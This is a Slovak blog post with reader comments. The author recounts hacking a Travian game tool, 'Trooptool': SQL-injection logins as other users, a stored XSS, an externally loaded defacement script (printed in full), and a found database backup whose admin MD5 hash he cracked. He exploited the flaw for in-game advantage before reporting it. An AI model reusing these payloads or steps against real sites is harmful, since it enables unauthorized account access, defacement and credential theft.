Ešte minulý rok, keď som hrával Travian (pre tých, čo nevedia o čo ide, je to strategická MMO browserová hra, ktorá trvá cca 10 mesiacov) moja aliancia používala nezávislý software na monitorovanie stavu armád jednotlivých členov aliancie - Travian Trooptool
Predtým, ako začnem, by som ešte rád upozornil, že toto je môj prvý článok na BH a moje vedomosti a skúsenosti čo sa týka IT sú relatívne malé, takže prosím ospravedlňte prípadnú neprofesionalitu alebo chyby v tomto článku a neváhajte ma opraviť, ak som sa niekde sekol.
Takže k veci, napadlo ma vyskúšať moje minimálne znalosti SQL injection a skúsil som sa prihlásiť bez hesla pod menom
holup'#
Na moje prekvapenie táto primitívna metóda zabrala, tak som to spravil s menami pár mojich nepriateľov a poznal som stavy ich armád (samozrejme iba tých, čo sú registrovaní na Trooptoole a udržiavajú informácie aktualizované). Potom som túto dieru využíval vo svoj prospech až do konca hry a ďalej som sa tým moc nezaoberal, až nedávno som si na to spomenul a povedal som si, že keď už Travian nehrám, mohol by som túto chybu oznámiť adminovi. Po návšteve stránky som ale zistil, že spravili novú verziu a spomínaný sqli už nefungoval, ale zato mi udrela do očí tabuľka s menami 5 naposledy registrovaných užívateľov a napadlo ma, že si vyskúšam XSS, registroval som sa pod menom
<script>alert('hrkuuu')</script>
Výsledok ale vyzeral nejak takto
<script>alert(\'hrkuuu\')</script>
a script sa nevykonal, tak som skúsil
<script>alert(666)</script>
Táto metóda už bola úspešná a dostal som alert 666, potom som regol ďalších 5 userov s normálnymi menami, aby môj script zmizol z tabuľky a neotravoval poctivých ľudí a začal som rozmýšľať nad možným využitím práve nájdenej diery, napadlo ma napríklad kradnutie cookies, ale keďže už travian nehrávam, tak by mi to na nič nebolo, tak som sa rozhodol iba pre menšiu zmenu vzhľadu za účelom upozornenia autora, maximálna dĺžka nicku bola 42 znakov, takže som na externý server umiestnil súbor s názvom "a" (nemohol som si dovoliť dlhší názov ani príponu, lebo by som prekročil maximálnu dĺžku nicku) a registroval som sa pod menom
<script src=http://*******.sk/a></script>
Tu je obsah spomínaného súboru - som si istý, že by sa to dalo napísať aj elegantnejšie, ale nechcelo sa mi s tým moc babrať:
nadpis = document.getElementsByTagName('h1');
for(i=0;i<10;i++){
if (nadpis[i].innerHTML=='Trooptool v4'){
nadpis[i].innerHTML="<u>Trooptool v4 - Holup's green edition</u><br><br>Nazdar admin, vidim ze si to konecne zabezpecil proti SQL injection ale zislo by sa este zabezpecenie proti XSS ;-) Holup";
document.getElementsByTagName('body')[0].style.color='#11FF11';
document.getElementsByTagName('body')[0].style.background='#000000';
for(j=0;j<10;j++){
document.getElementsByTagName('h1')[j].style.padding='50px';
document.getElementsByTagName('h1')[j].style.color='#11FF11';
document.getElementsByTagName('h1')[j].style.background='#000000';
}}}
Tu je porovnanie, ako vyzeral predtým a potom:


Keď som to skontroloval za pár hodín, môj script tam už nebol a admin mi tam nechal odkaz:

Na jeho želanie som teda skúšal ďalej, ale ako som spomínal na začiatku, moje vedomosti sú dosť malé a naviac som sa v tej chvíli nezmohol, ale nevzdal som sa. Dal som adminov nick do googlu a našiel som nejaké jeho príspevky na fóre o tvorbe webu, v jednom z nich spomínal niečo s adresou http://travian.damak.cz/test/, po kliknutí na odkaz sa mi zobrazil directory index v ktorom som videl 3 zložky s nejakými testovacími nástrojmi (nič zaujímavé), okrem nich tam bol ešte jeden súbor - bola to kompletná záloha databázy nijak nechránená :-D :-D :-D.
Takže som sa dostal ku všetkým heslám spôsobom, akým by to zvládla aj vykastrovaná opica ochrnutá na polku tela, už stačilo len spustiť MD5 cracker a za pár minút som mal adminove heslo. Pomocou neho som sa prihlásil a pod jeho nickom s mojim podpisom som mu v chate na hlavnej stránke nechal odkaz, že som našiel ďalšiu chybu. Nakoniec som ho kontaktoval cez ICQ a povedal mu všetko čo viem.
Teraz už sú všetky chyby spomínané v tomto článku opravené a ja sa na viac nezmôžem, ale som si istý, že niekto skúsenejší by tam toho našiel ešte veľa.
|
webhosting by: |
UnlimitedHosting | CustomHosting | FreeWeb.sk |
Comments
Re: Travian Trooptool hack
Na zaklade tohto prispevku som urobil novu extrapolaciu na mozny stav Najvacsich Neviditelnych -- a zhrozil som sa.
Si na najlepsej ceste, aby si sa ocitol medzi nimi -- len nechval sa a nepublikuj tolko.
Re: Travian Trooptool hack
podla mna ked na to upozornil admina toho menovaneho webu a chyby boli opravene tak nie je ziadny dovod na starch :)
Re: Travian Trooptool hack
:) skus ikariam.sk
Re: Travian Trooptool hack
http://www.nesho.sk/n00b.jpg
Kto to len pisal?
Dufam, ze nie ty.
Re: Travian Trooptool hack
autor: Pavol Fulop ... Fulop = Holup ? :) ma to istu podobu :-P
Talent is doing things that others find difficult.
Genius is doing things that others find impossible.
Re: Travian Trooptool hack
Presne to som pisal tommymu :), ze aka podoba.
Re: Travian Trooptool hack
podobu ti najdem aj medzi tebou a Holupom :D
Ver mi nie je to on :) Obidvaja su to moji spoluziaci :P
P.S. ten clanok od Pala je iba vtip :)
Re: Travian Trooptool hack
Mam vam snad naskenovat obciansky alebo co? :)
Re: Travian Trooptool hack
A z kade budeme mať istotu že si naskenoval svoj občianský a nie niekoho ineho? ;-)
Re: Travian Trooptool hack
aspon vidis ako chalani ovladaju social engineering :D
Re: Travian Trooptool hack
Myslel som to ako vtip ;-)
Re: Travian Trooptool hack
dobreee:)
----------------------------------------
Hlúposť užívateľa je úmerná jeho právam.
Re: Travian Trooptool hack
Iba sem napisem co som ti pisal na ICQ nech to vidia vsetci - clanok na komunikuj.sk som nepisal ja ale moj kamos a ja s nim nemam nic spolocne ;-)
Re: Travian Trooptool hack
Pravda potvrzujem :) Obi dvoch mam v triede.
Jaj tie stare casi ked si daval na web XSS :) to som si aj ja trocha zahral :P